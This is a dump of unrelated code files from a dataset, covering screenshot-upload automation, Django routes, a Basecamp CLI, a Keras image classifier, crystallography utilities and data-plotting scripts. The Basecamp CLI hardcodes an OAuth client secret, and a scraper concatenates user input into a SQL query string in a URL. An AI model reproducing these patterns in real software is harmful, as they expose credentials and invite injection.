screenshot_folder):\n base.mkdir(c, screenshot_folder)\n c.run('defaults write com.apple.screencapture location \"%s\"' % screenshot_folder)\n c.run('defaults write com.apple.screencapture name \"Screenshot\"')\n c.run('defaults write com.apple.screencapture \"include-date\" 1')\n c.run('killall SystemUIServer')\n\n\n@task\ndef screenshot_uploader_imgur(c, action, img_client_id, img_secret_id, screenshot_folder):\n screenshot_folder = os.path.abspath(screenshot_folder)\n c.run('pip3 install imgur-uploader')\n setup_screenshot_format(c, screenshot_folder)\n script_path = base.write_template(\n c,\n file_path=\"%s/%s\" % (base.root_templates, 'screenshot_uploader_imgur.sh'),\n destination_path=home + '/.screenshot_automation/'\n )\n imgur_python = c.run('which imgur-uploader').stdout.strip()\n gnu_grep = c.run('which ggrep').stdout.strip()\n envs = (\n ('IMGUR_API_ID', img_client_id),\n ('IMGUR_API_SECRET', img_secret_id),\n ('imguruploader', imgur_python),\n ('grep', gnu_grep)\n )\n system.launchctl(\n c,\n action,\n label='screenshot.uploader',\n wait_before_restart=0,\n file_path=\"%s/%s\" % (base.root_templates, 'screenshot_watcher.plist'),\n template_context={\n 'screen_shot_path': screenshot_folder,\n 'logfile': '/tmp/screenshot.log',\n 'path_to_script': script_path,\n 'envs': envs\n }\n )\n\n\n@task\ndef screenshot_uploader_b2(c, action, b2_client_id, b2_secret_id, bucket, screenshot_folder):\n screenshot_folder = os.path.abspath(screenshot_folder)\n c.run('pip3 install b2')\n setup_screenshot_format(c, screenshot_folder)\n script_path = base.write_template(\n c,\n file_path=\"%s/%s\" % (base.root_templates, 'screenshot_uploader_b2.sh'),\n destination_path=home + '/.screenshot_automation/'\n )\n b2_python = c.run('which b2').stdout.strip()\n gnu_grep = c.run('which ggrep').stdout.strip()\n envs = (\n ('B2_APPLICATION_KEY_ID', b2_client_id),\n ('B2_APPLICATION_KEY', b2_secret_id),\n ('B2_BUCKET', bucket),\n ('B2_PATH', b2_python),\n ('GREP', gnu_grep),\n ('LC_ALL', 'en_US.UTF-8'),\n ('LANG', 'en_US.UTF-8'),\n ('LANGUAGE', 'en_US.UTF-8')\n )\n system.launchctl(\n c,\n action,\n label='screenshot.uploader',\n wait_before_restart=0,\n file_path=\"%s/%s\" % (base.root_templates, 'screenshot_watcher.plist'),\n template_context={\n 'screen_shot_path': screenshot_folder,\n 'logfile': '/tmp/screenshot.log',\n 'path_to_script': script_path,\n 'envs': envs\n }\n )\n","sub_path":"fabs/mac/patches.py","file_name":"patches.py","file_ext":"py","file_size_in_byte":7181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624782103","text":"#!/usr/bin/env python\n\nimport os\n\nfrom pybake import *\n\nCFLAGS = []\nLDFLAGS = []\n\nif os.name == 'nt':\n import pybake.lang.cxx.msvc as cxx\n CFLAGS += cxx.define(\"BOOST_ALL_DYN_LINK\")\n CFLAGS += cxx.include(r\"C:\\Boost\\include\\boost-1_38\", r\"win32/include\")\n LDFLAGS += cxx.libpath(r\"C:\\Boost\\lib\")\n LDFLAGS += cxx.library(\"win32/lib/SDL\", \"win32/lib/SDLmain\")\nelse:\n import pybake.lang.cxx.gcc as cxx\n sdl_config = LibraryConfig(\"sdl-config\")\n CFLAGS = sdl_config([\"--cflags\"])\n LDFLAGS = sdl_config([\"--libs\"]) + cxx.library(\"boost_thread-mt\")\n\ncxx.executable(\"conway\", [\"main.cpp\"], CFLAGS, LDFLAGS)\n\npybake_main()\n","sub_path":"projects/conway/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"349567865","text":"from django.urls import path\nfrom api.views import company_list,company_id,company_vacancy,vacancy_list,vacancy_id,vacancy_top_ten,vacancy_top\n\nurlpatterns = [\n path('companies/', company_list),\n path('companies//', company_id),\n path('companies//vacancies', company_vacancy),\n\n path('vacancies/', vacancy_list),\n path('vacancies//', vacancy_id),\n path('vacancies/top_ten/', vacancy_top_ten),\n path('vacancies/top_vacancy/', vacancy_top)\n]","sub_path":"wd/W11/hhback/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"486963703","text":"import urllib.parse\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport numpy as np\nimport pandas\nfrom pandas import ExcelWriter\nimport sys\n\nclass CPUGetter(object):\n\n\tdef __init__(self, server, month):\n\t\tself.server = server\n\t\tself.month = month\n\t\t# self.queryType = queryType\n\n\tdef openUrl(self):\n\t\topener = urllib.request.FancyURLopener({})\n\n\t\n\t\tlink = \"http://cpe.pg.com/cgi-bin/cpe/sascgi?ACTION=GEN_SQL&SQL=SELECT+*+FROM+MISC.D_UXPERF&SQL=WHERE++SERVER+EQ+'\" + self.server + \"'+AND MONTH(DATE)=\" + self.month\n\t\ttry:\n\t\t\tprint(\".... Acquiring Data\")\n\t\t\t\n\t\t\tf = opener.open(link)\n\t\t\tsoupData = BeautifulSoup(f, 'lxml')\n\n\t\t\treturn soupData\n\n\t\texcept IOError:\n\t\t\tprint(\"Cannot Open URL for Data Gethering. Please Check connection\")\n\t\t\tsys.exit()\n\n\t\texcept:\n\t\t\tprint(\"Unknow Error Encountered. Please Contact Developer \", sys.exc_info()[0])\n\t\t\tsys.exit() \n\n\tdef stripData(self):\n\n\t\tpreData = self.openUrl().findAll(\"pre\")\n\n\t\tif(not preData):\n\t\t\tprint(\"No Data Obtained. Please check connections. Or Contact Developer\")\n\t\t\tsys.exit()\n\n\t\ttry:\n\t\t\tprint(\".... Cleaning Aquired Data\")\n\n\t\t\tdata = str(preData[2])\n\t\t\tcleanData = data[746:].split()\n\n\t\t\t#remove the last \" tag at the end of the array\"\n\t\t\tdel cleanData[-1]\n\n\t\t\treturn cleanData\n\n\t\texcept IndexError:\n\t\t\tprint(\"No Data was obtained from the specified server or month\")\n\t\t\tsys.exit()\n\n\t\texcept:\n\t\t\tprint(\"Unknown Error: \",sys.exc_info()[0] )\n\t\t\tsys.exit()\n\n\tdef createDataFrame(self):\n\n\t\tdataArray = np.array(self.stripData())\n\n\t\tprint(\".... Creating Dataframe\")\n\n\t\te = []\n\t\tr = []\n\t\tx = 0\n\n\t\tfor i in dataArray:\n\t\t\tif x <= 6:\n\t\t\t\te.append(i)\n\t\t\t\tx += 1\n\n\t\t\tif x == 6:\n\t\t\t\tr.append(e)\n\n\t\t\t\t#reset the values or e and x\n\t\t\t\tx = 0\n\t\t\t\te = []\n\n\t\tself.df = pandas.DataFrame(r)\n\n\t\treturn self.df\n\n\tdef saveToExcel(self):\n\n\t\tfile = \"c:/cpm/\" + self.server +\"-cpu-\" + self.month + \".xlsx\"\n\n\t\tdf = self.createDataFrame()\n\t\ttry:\n\t\t\twriter = ExcelWriter(file)\n\n\t\t\tprint(\".... Saving Data to Excel\")\n\t\t\tdf.to_excel(writer,self.server)\n\t\t\twriter.save()\n\t\t\tprint(self.server + \" Data Saved to \" + file)\n\n\t\texcept ValueError:\n\t\t\tprint(\"Cannot Save data. Please check filename. should be 'file.xlsx' \")\n\n\t\texcept IOError:\n\t\t\tprint(\"Please make sure that the file is not open\")\n\n\t\texcept:\n\t\t\tprint(\"Unknown Error. Please contact Developer. \", sys.exc_info()[0])\n\t\t\t# raise\n\n\n\n# if __name__ == '__main__':\n\n# \t#Check the number of Arguments\n# \t# if(len(sys.argv) < 3):\n# \t# \tprint(\"Too Few Argument. Please use python datagetter.py \")\n# \t# \tsys.exit()\n\n# \t# if(len(sys.argv[2]) != 2 ):\n# \t# \tprint(\"Wrong Month format. Use Number representation of month. ex: January = 01 \")\n# \t# \tsys.exit()\n\t\t\n\n# \t# d = CPUGetter('adln5656', '06')\n\n# \t# d.saveToExcel()\n\n\n\n\n\n\n","sub_path":"hourlycpu.py","file_name":"hourlycpu.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"517666083","text":"import csv\r\nimport json\r\n\r\n\r\ndef getTime(strT):\r\n\th=0\r\n\tm=0\r\n\ts=0\r\n\tif(len(strT)<6):\r\n\t\th=strT[0]\r\n\t\tm=strT[1:3]\r\n\t\ts=strT[3:5]\r\n\telse:\r\n\t\th=strT[0:2]\r\n\t\tm=strT[2:4]\r\n\t\ts=strT[4:6]\r\n\treturn [h,m,s]\r\n\r\ndef getCandleFromTicks(fileName):\r\n\r\n\treadData=csv.reader(open(fileName))\r\n\toutData=[]\r\n\r\n\r\n\tlastHour=-1\r\n\tlastMin=-1\r\n\tlastSec=-1\r\n\tlastPrice=-1\r\n\tpO=-1\r\n\tpH=-1\r\n\tpL=-1\r\n\tpC=-1\r\n\tpV=0\r\n\tpT=-1\r\n\r\n\ttVolume=-1\r\n\tcounter=-1\r\n\r\n\toutData=[]\r\n\r\n\tfor row in readData:\r\n\r\n\t\t#print(line)\r\n\t\ttime=getTime(row[0])\r\n\t\ttHour=time[0]\r\n\t\ttMin=time[1]\r\n\t\ttSec=time[2]\r\n\t\ttPrice=float(row[1])\r\n\t\ttBuyOrSell=row[2]\r\n\t\ttVolume=row[3]\r\n\r\n\r\n\t\tif(counter==-1):\r\n\t\t\tpO=pH=pL=pC=tPrice\r\n\t\tif(lastMin!=tMin and lastMin!=-1):\r\n\t\t\t\r\n\t\t\tpC=lastPrice\r\n\t\t\tpT=lastHour+\":\"+lastMin\r\n\t\t\tcandle={'o':pO,'h':pH,'l':pL,'c':pC,'v':pV,'d':pT}\r\n\t\t\t#print(candle)\r\n\t\t\toutData.append(candle)\r\n\r\n\t\t\tpO=pH=pL=pC=tPrice\r\n\t\t\tcounter=0\r\n\t\t\t#totalPrice=0\r\n\t\t\tpV=0\r\n\t\t\r\n\t\t#totalPrice+=tPrice\r\n\t\tpV+=int(tVolume)\r\n\t\tif(tPrice>pH):pH=tPrice\r\n\t\tif(tPrice\n body {\n font-family: sans-serif;\n max-width: 900px;\n width: 90%;\n margin: 0 auto 0 auto;\n padding: 5vh 30px 0 30px;\n background: rgb(240,240,240);\n }\n\n pre, code {\n background: #121212;\n color: white;\n }\n\n code {\n padding: 4px;\n }\n\n pre code {\n padding: 0;\n }\n\n pre {\n padding: 10px;\n }\n\n hr {\n margin: 2em 0;\n }\n \n

    Founders Fall 2020 Backend Take-Home API

    \n

    Add the endpoint `/api/fetch` accessible via a GET request which returns the list of employees from `data.csv` as JSON.


    \n

    API (to be implemented)

    \n

    Request

    \n
    GET\nScheme: http\nFilename: /api/fetch
    \n

    Response

    \n
    employees: [\n            
    {\n
    name: FULL NAME OF EMPLOYEE,\n
    timezone: TIMEZONE,\n
    dept: EMPLOYEE'S DEPARTMENT,\n
    }\n
    ...\n
    ]
    \"\"\"\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"560457032","text":"\"\"\"Unit tests for the Jira manual test execution collector.\"\"\"\n\nfrom datetime import datetime, timedelta\n\nfrom dateutil.parser import parse\n\nfrom .base import JiraTestCase\n\n\nclass JiraManualTestExecutionTest(JiraTestCase):\n \"\"\"Unit tests for the Jira manual test execution collector.\"\"\"\n\n METRIC_TYPE = \"manual_test_execution\"\n\n def setUp(self):\n \"\"\"Extend to create a date in the past.\"\"\"\n super().setUp()\n self.ten_days_ago = str(datetime.now() - timedelta(days=10))\n\n async def test_nr_of_test_cases(self):\n \"\"\"Test that the number of test cases is returned.\"\"\"\n long_ago = \"2019-10-02T11:07:02.444+0200\"\n test_cases_json = dict(\n issues=[\n self.issue(key=\"1\", comment=dict(comments=[dict(updated=long_ago)])),\n self.issue(key=\"2\", comment=dict(comments=[])),\n self.issue(key=\"3\", comment=dict(comments=[dict(updated=str(datetime.now()))])),\n self.issue(\n key=\"4\", comment=dict(comments=[dict(updated=self.ten_days_ago)]), desired_test_frequency=\"5\"\n ),\n ]\n )\n response = await self.get_response(test_cases_json)\n self.assert_measurement(\n response,\n value=\"2\",\n entities=[\n self.entity(key=\"1\", last_test_date=str(parse(long_ago).date()), desired_test_frequency=\"21\"),\n self.entity(key=\"4\", last_test_date=str(parse(self.ten_days_ago).date()), desired_test_frequency=\"5\"),\n ],\n )\n\n async def test_nr_of_test_cases_with_field_name(self):\n \"\"\"Test that the field name for the test frequency can be specified by name.\"\"\"\n self.set_source_parameter(\"manual_test_execution_frequency_field\", \"Required Test Frequency\")\n test_cases_json = dict(\n issues=[self.issue(comment=dict(comments=[dict(updated=self.ten_days_ago)]), custom_field_001=\"5\")]\n )\n fields_json = [dict(name=\"Required test frequency\", id=\"custom_field_001\")]\n response = await self.get_response(test_cases_json, fields_json)\n self.assert_measurement(\n response,\n value=\"1\",\n entities=[\n self.entity(key=\"1\", last_test_date=str(parse(self.ten_days_ago).date()), desired_test_frequency=\"5\")\n ],\n )\n","sub_path":"components/collector/tests/source_collectors/jira/test_manual_test_execution.py","file_name":"test_manual_test_execution.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"380494377","text":"import numpy as np\nfrom reciprocalspaceship.dtypes import MTZIntDtype\n\n\ndef add_rfree(dataset, fraction=0.05, bins=20, inplace=False):\n \"\"\"\n Add an r-free flag to the dataset object for refinement. \n R-free flags are used to identify reflections which are not used in automated refinement routines.\n This is the crystallographic refinement version of cross validation.\n\n Parameters\n ----------\n dataset : rs.DataSet\n Dataset object for which to compute a random fraction. \n fraction : float, optional\n Fraction of reflections to be added to the r-free. (the default is 0.05)\n bins : int, optional\n Number of resolution bins to divide the free reflections over. (the default is 20)\n inplace : bool, optional\n\n Returns\n -------\n result : rs.DataSet\n\n \"\"\"\n if not inplace:\n dataset = dataset.copy()\n dHKL_present = 'dHKL' in dataset\n if not dHKL_present:\n dataset = dataset.compute_dHKL(inplace=True)\n\n bin_edges = np.percentile(dataset['dHKL'], np.linspace(100, 0, bins+1))\n bin_edges = np.vstack([bin_edges[:-1], bin_edges[1:]]).T\n\n dataset['R-free-flags'] = 0\n dataset['R-free-flags'] = dataset['R-free-flags'].astype(MTZIntDtype())\n\n free = np.random.random(len(dataset)) <= fraction\n\n for i in range(bins):\n dmax,dmin = bin_edges[i]\n dataset[free & (dataset['dHKL'] >= dmin) & (dataset['dHKL'] <= dmax)] = i\n\n if not dHKL_present:\n del(dataset['dHKL'])\n\n return dataset\n\ndef copy_rfree(dataset, dataset_with_rfree, inplace=False):\n \"\"\"\n Copy the rfree flag from one dataset object to another.\n\n Parameters\n ----------\n dataset : rs.DataSet\n A dataset without an r-free flag or with an undesired one.\n dataset_with_rfree : rs.DataSet\n A dataset with desired r-free flags.\n inplace : bool, optional\n Whether to operate in place or return a copy\n\n Returns\n -------\n result : rs.DataSet\n \"\"\"\n if not inplace:\n dataset = dataset.copy()\n\n dataset['R-free-flags'] = 0\n dataset['R-free-flags'] = dataset['R-free-flags'].astype(MTZIntDtype())\n idx = dataset.index.intersection(dataset_with_rfree.index)\n dataset.loc[idx, \"R-free-flags\"] = dataset_with_rfree.loc[idx, \"R-free-flags\"]\n return dataset\n","sub_path":"reciprocalspaceship/utils/rfree.py","file_name":"rfree.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141646235","text":"import argparse\nimport logging\nimport os\nimport sys\nimport traceback\n\nfrom basecampy3 import Basecamp3\nfrom basecampy3.token_requestor import TokenRequester\nfrom basecampy3.config import BasecampConfig\nfrom basecampy3.exc import NoDefaultConfigurationFound\n\nclass BasecampCommand:\n def __init__(self, name, help, need_config=True):\n self.name = name\n self.help = help\n self.need_config = need_config\n\navailable_commands = [\n BasecampCommand(name=\"login\", help=\"Login with Basecamp using OAuth2\", need_config=False),\n BasecampCommand(name=\"projects\", help=\"Manage current user projects\"),\n BasecampCommand(name=\"me\", help=\"Show information about currently logged in user\"),\n BasecampCommand(name=\"version\", help=\"Show BasecamPY3 CLI version\", need_config=False),\n]\n\nclass CLI(object):\n bc3 = None\n\n def __init__(self):\n pass\n\n @classmethod\n def from_command_line(cls):\n new = cls()\n\n parser = argparse.ArgumentParser(\n \"bc3\",\n description=\"BasecamPY3 API Tool\"\n )\n\n parser.add_argument(\n \"--debug\",\n \"--verbose\",\n dest=\"debug\",\n action=\"store_true\",\n help=\"Enables more verbose output\"\n )\n\n subparsers = parser.add_subparsers(\n metavar=\"command\",\n dest=\"command\"\n )\n\n for command in available_commands:\n subparsers.add_parser(command.name, help=command.help)\n\n args = parser.parse_args()\n\n loglevel = logging.DEBUG if args.debug else logging.INFO\n\n logging.getLogger().setLevel(loglevel)\n logging.basicConfig()\n\n if (args.command):\n basecamp_command = [command for command in available_commands if command.name == args.command][0]\n\n if basecamp_command.need_config:\n try:\n cls.bc3 = Basecamp3()\n except NoDefaultConfigurationFound as e:\n print(\"ERRORE! Configurazione di default non trovata.\")\n print(\"Prima di poter accedere al proprio account Basecamp è necessario fare il login\")\n print(\"bc3 login -h per maggiori informazioni\")\n sys.exit(1)\n\n getattr(cls, args.command)(cls.bc3)\n else:\n parser.print_help()\n\n @staticmethod\n def login(basecamp = None):\n print(\"This will generate an access token and refresh token for using the Basecamp 3 API.\")\n print(\"If you have not done so already, you need to create an app at:\")\n print(\"https://launchpad.37signals.com/integrations\")\n\n client_id = \"d07cc672ec7c0fc1829490dfd7da963fe3b38070\"\n client_secret = \"9934efee6bcc7af32483333f5d2be5e668ea73bc\"\n redirect_uri = \"http://localhost:8081/auth\"\n\n print(\"Obtaining your access key and refresh token...\")\n requestor = TokenRequester(client_id, client_secret)\n\n code = requestor.get_access_token()\n\n tokens = Basecamp3.trade_user_code_for_access_token(\n client_id=client_id, redirect_uri=redirect_uri,\n client_secret=client_secret,\n code=code\n )\n\n print(\"Success! Your tokens are listed below.\")\n print(\"Access Token: %s\" % tokens['access_token'])\n print(\"Refresh Token: %s\" % tokens['refresh_token'])\n\n while True:\n should_save = input(\"Do you want to save? (Y/N)\").upper().strip()\n if should_save in (\"Y\", \"YES\"):\n should_save = True\n break\n elif should_save in (\"N\", \"NO\"):\n should_save = False\n break\n else:\n print(\"Sorry I don't understand. Please enter Y or N.\")\n if should_save is False:\n return\n while True:\n location = input(\"Where should I save? (default ~/.conf/basecamp.conf)\")\n location = location.strip()\n if not location:\n location = os.path.expanduser(\"~/.conf/basecamp.conf\")\n try:\n conf = BasecampConfig(client_id=client_id, client_secret=client_secret, redirect_uri=redirect_uri,\n access_token=tokens['access_token'], refresh_token=tokens['refresh_token'])\n conf.save(location)\n break\n except Exception as ex:\n logging.error(traceback.format_exc())\n print(\"Failed to save to '%s'\" % location)\n\n @staticmethod\n def projects(basecamp = None):\n print(\"Project list\")\n print(\"============\")\n\n for project in basecamp.projects.list():\n print(project.name)\n\n @staticmethod\n def version():\n print(\"0.0.1\")\n\n @staticmethod\n def me(basecamp = None):\n user_data = basecamp.who_am_i\n\n print(f\"{user_data['identity']['first_name']} {user_data['identity']['last_name']}\")\n\n\n # @staticmethod\n # def _get_modules():\n # # find all endpoint modules\n # endpoint_modules = inspect.getmembers(basecampy3.endpoints, inspect.ismodule)\n # modules = []\n # endpoint_map = {}\n # for module_name, module in endpoint_modules:\n # if module_name in ('_base', 'util'): # exclude non-endpoint modules\n # continue\n # endpoint_dict = {}\n #\n # classes = inspect.getmembers(module, inspect.isclass)\n # for classname, cls in classes:\n # # find the class for this Endpoint\n # if cls is not BasecampEndpoint and issubclass(cls, BasecampEndpoint):\n # # this is our Endpoint, get its non-private methods\n # methods_dict = {mthd[0]: mthd for mthd in inspect.getmembers(cls, inspect.ismethod)\n # if not mthd[0].startswith('_')}\n #\n # endpoint_dict[classname] = methods_dict\n #\n # endpoint_map[module_name] = endpoint_map\n # break\n #\n # issubclass(inspect.getmembers(module, inspect.isclass)[3][1], basecampy3.endpoints._base.BasecampEndpoint)\n # return {m[0]: m[1] for m in endpoint_modules if m[0] not in (\"_base\", \"util\")}\n\n\ndef main():\n return CLI.from_command_line()\n\n\nif __name__ == \"__main__\":\n cli = main()\n","sub_path":"basecampy3/bc3_cli.py","file_name":"bc3_cli.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444144387","text":"\"\"\"Толчка старта программы\"\"\"\nimport argparse\n\nfrom core import const\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-s', dest='scaling', type=float, default=1, help='Scaling of the gui')\n args = parser.parse_args()\n const.SCALING = args.scaling\n const.recalculate_screen_size()\n\n from core.logic_calc import LogicCalc\n LogicCalc.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414843270","text":"from keras.models import Sequential,load_model\nfrom keras.utils.training_utils import multi_gpu_model\nfrom keras.layers.convolutional import Conv2D\nfrom keras.callbacks import ModelCheckpoint\nfrom keras import backend as k\nfrom keras.layers import Dense,Activation,Convolution2D,MaxPooling2D,Flatten,Dropout,BatchNormalization\nfrom keras.optimizers import Adam\nfrom dataset import batch_test_data , batch_train_data ,cv_imread\nfrom keras.preprocessing.image import img_to_array,ImageDataGenerator\nimport numpy as np\nimport os\nfrom imutils import paths\nimport csv\nimport cv2\n\nclass Model(object):\n def __init__(self):\n self.model = None\n\n self.class_number = 2\n\n self.image_width = 1000 #2560 400 600 1000\n self.image_heiht = 750 #1920 300 450 750\n self.depth = 3\n\n self.class_number = 2\n\n self.learn_rate = 1e-3\n self.Epochs = 50\n self.BatchSize = 32\n\n self.File_path =\"test\"\n self.model_path = \"modeldir/model.h5\"\n\n def build_model(self):\n self.model= Sequential()\n inputShape = (self.image_heiht, self.image_width, self.depth)\n if k.image_data_format() == \"channels_first\":\n inputShape = (self.depth, self.image_heiht, self.image_width)\n\n self.model.add(Conv2D(4, (3, 3), padding=\"same\", input_shape=inputShape))\n self.model.add(BatchNormalization())\n self.model.add(Activation(\"relu\"))\n self.model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n self.model.add(Conv2D(32, (3, 3), padding=\"same\"))\n self.model.add(BatchNormalization())\n self.model.add((Activation(\"relu\")))\n self.model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n\n self.model.add(Conv2D(64, (3, 3), padding=\"same\"))\n self.model.add(BatchNormalization())\n self.model.add((Activation(\"relu\")))\n self.model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n self.model.add(Dropout(0.15))\n\n self.model.add(Conv2D(64, (3, 3), padding=\"same\"))\n self.model.add(BatchNormalization())\n self.model.add((Activation(\"relu\")))\n self.model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\n self.model.add(Dropout(0.15))\n\n self.model.add(Flatten())\n self.model.add(Dense(64))\n self.model.add(BatchNormalization())\n self.model.add(Activation(\"relu\"))\n self.model.add(Dropout(0.15))\n\n self.model.add(Dense(32))\n self.model.add(BatchNormalization())\n self.model.add(Activation(\"relu\"))\n self.model.add(Dropout(0.15))\n\n self.model.add(Dense(16))\n self.model.add(BatchNormalization())\n self.model.add(Activation(\"relu\"))\n self.model.add(Dropout(0.45))\n\n self.model.add(Dense(self.class_number))\n self.model.add(BatchNormalization())\n self.model.add(Activation(\"sigmoid\"))\n self.model.summary()\n\n\n def build_model_info(self):\n self.model = Sequential()\n inputShape = (self.image_heiht, self.image_width, self.depth)\n if k.image_data_format() == \"channels_first\":\n inputShape = (self.depth, self.image_heiht, self.image_width)\n\n self.model.add(\n Convolution2D(\n filters=2,\n kernel_size=(5, 5),\n padding='same',\n dim_ordering='tf',\n input_shape=inputShape,\n\n )\n )\n\n self.model.add(BatchNormalization())\n self.model.add(Activation('relu'))\n self.model.add(\n MaxPooling2D(\n pool_size=(2, 2),\n strides=(2, 2),\n padding='same'\n )\n )\n\n self.model.add(Flatten())\n self.model.add(Dense(16))\n self.model.add(BatchNormalization())\n self.model.add(Activation('relu'))\n self.model.add(Dropout(0.15))\n\n self.model.add(Dense(self.class_number))\n self.model.add(BatchNormalization())\n self.model.add(Activation('sigmoid'))\n self.model.summary()\n #return model\n\n def train(self,train_file,verification_file):\n\n trainx,trainy=batch_train_data(train_file)\n\n\n '''\n aug = ImageDataGenerator(rotation_range = 20 , width_shift_range = 0.1 ,height_shift_range = 0.1,shear_range = 0.2,\n zoom_range = 0.2,horizontal_flip =True , fill_mode =\"nearest\")\n '''\n # load weights\n #self.model.load_weights('weights.best.hdf5')\n\n # initialize the model\n print(\"[info]:compiling model.....\")\n opt = Adam(lr=self.learn_rate, decay=self.learn_rate / self.Epochs)\n self.model.compile(loss=\"binary_crossentropy\", optimizer=opt, metrics=[\"accuracy\"]) #categorical_crossentropy\n\n\n #ckeckpoint model 效果有提升便保存\n '''\n Lsfile_path = 'lssavemodel\\weights-improvement-{epoch:02d}-{val_acc:.2f}.hdf5'\n checkpoint = ModelCheckpoint(Lsfile_path ,monitor='val_acc',verbose=1, save_best_only=True, mode='max')\n callbacks_list = [checkpoint]\n '''\n #保存最好的一次\n filepath = 'lssavemodel\\weights.best.hdf5'\n checkpoint = ModelCheckpoint(filepath, monitor='val_acc', verbose=1, save_best_only=True, mode='max')\n callbacks_list = [checkpoint]\n\n # train the network\n print(\"[info]:training model.....\")\n H = self.model.fit_generator(trainx,trainy,batch_size=32,\n validation_data=(testx,texty),\n epochs=self.Epochs, callbacks=callbacks_list)\n #aug.flow(trainx,trainy,self.BatchSize), steps_per_epoch=1500,\n #validation_data=batch_test_data(verification_file, batch_size=32), validation_steps=1,\n\n def save(self):\n print(\"Model saved\")\n self.model.save(self.model_path)\n\n def evaluate_model(self,verification_file):\n print('\\nTesting---------------')\n testx,texty=batch_test_data(verification_file)\n loss, accuracy = self.model.evaluate(testx, texty)\n print('test loss;', loss)\n print('test accuracy:', accuracy)\n\n def load(self):\n print(\"model load\")\n self.model = load_model(self.model_path)\n\n def predict(self):\n self.model = load_model(self.model_path)\n csvFile = open(\"submit.csv\", \"w\" , newline='')\n writer = csv.writer(csvFile)\n list_head =['filename','probability']\n writer.writerow(list_head)\n file_num = list(paths.list_images(self.File_path))\n i = 1\n for each_file in file_num:\n image = cv_imread(each_file)\n image = img_to_array(image)\n image_arr = np.array(image, dtype=\"float32\") / 255.0\n image_arr = image_arr.reshape((1, 1920, 2560, 3))\n result = self.model.predict_proba(image_arr)\n probility = round(result[0][1] ,5)\n each_file = each_file.replace('\\ ', ' ')\n each_file = os.path.basename(each_file)\n add_info = [each_file, probility]\n writer.writerow(add_info)\n csvFile.close()\n\n\n\n\n\n\n","sub_path":"tianchixulang/snowlan_myself/train_model_two.py","file_name":"train_model_two.py","file_ext":"py","file_size_in_byte":7278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647488811","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom itertools import combinations \r\nimport seaborn as sns\r\nfrom sklearn.ensemble import RandomForestRegressor\r\n\r\n\r\n\r\n#RandomForestRegressor(bootstrap=True, criterion='mse', max_depth=2,\r\n# max_features='auto', max_leaf_nodes=None,\r\n# min_impurity_decrease=0.0, min_impurity_split=None,\r\n# min_samples_leaf=1, min_samples_split=2,\r\n# min_weight_fraction_leaf=0.0, n_estimators=100, n_jobs=None,\r\n# oob_score=False, random_state=0, verbose=0, warm_start=False)\r\n\r\n#>>> print(regr.feature_importances_)\r\n#[0.18146984 0.81473937 0.00145312 0.00233767]\r\n#>>> print(regr.predict([[0, 0, 0, 0]]))\r\n#[-8.32987858]\r\n### ========================================================\r\n#LOAD DATA AND MAKE IT EASIER FOR NAVGIATION\r\ndf=pd.read_csv(\"train.csv\")\r\ndf=df.sample(frac=1)\r\ndf_columns=list(df.columns)\r\nd_c={i:df_columns[i] for i in range(df.shape[1])}\r\n\r\n\r\n\r\np=list(combinations(df.columns,2))\r\n\r\n## ======================================================================\r\n# ###### VIZUALIZATION tools ######\r\n\r\n## ========================================================\r\nsns.boxplot(x = d_c[7], y = d_c[80], data = df) \r\nax=plt.gca()\r\nax.set_ylim([0,800000])\r\n\r\n## ========================================================\r\nsns.distplot(df[d_c[80]])\r\n\r\n## ========================================================\r\nplt.scatter(x=df[d_c[43]],y=df[d_c[80]]) #38\r\n\r\nax=plt.gca()\r\nax.set_xlim([0,2500])\r\nax.set_ylim([0,800000])\r\n## ========================================================\r\ndef numerical_compare(i,k,j):\r\n plt.figure()\r\n plt.subplot(2,1,1)\r\n plt.plot(df[d_c[i]],df[d_c[j]],'ro',label=d_c[i])\r\n ax=plt.gca()\r\n ax.set_xlim([0,3000])\r\n ax.set_ylim([0,800000])\r\n plt.legend()\r\n \r\n plt.subplot(2,1,2)\r\n plt.plot(df[d_c[k]],df[d_c[j]],'bs',label=d_c[k])\r\n ax=plt.gca()\r\n ax.set_xlim([0,2000])\r\n ax.set_ylim([0,800000])\r\n plt.legend(loc=2)\r\nnumerical_compare(43,44,80)\r\n## ========================================================\r\ndef numercial_view(i,j):\r\n plt.plot(df[d_c[i]],df[d_c[j]],'bo',label=d_c[i])\r\n ax=plt.gca()\r\n ax.set_xlim([1000,12000])\r\n ax.set_ylim([0,800000])\r\nnumercial_view(4,80)\r\n\r\n\r\n\r\n## ========================================================\r\n#descirbe\r\ndef my_describe(i):\r\n return df[d_c[i]].describe()\r\nmy_describe(4)\r\n\r\n\r\n## ======================================================================\r\n# end vziualzation tools, start 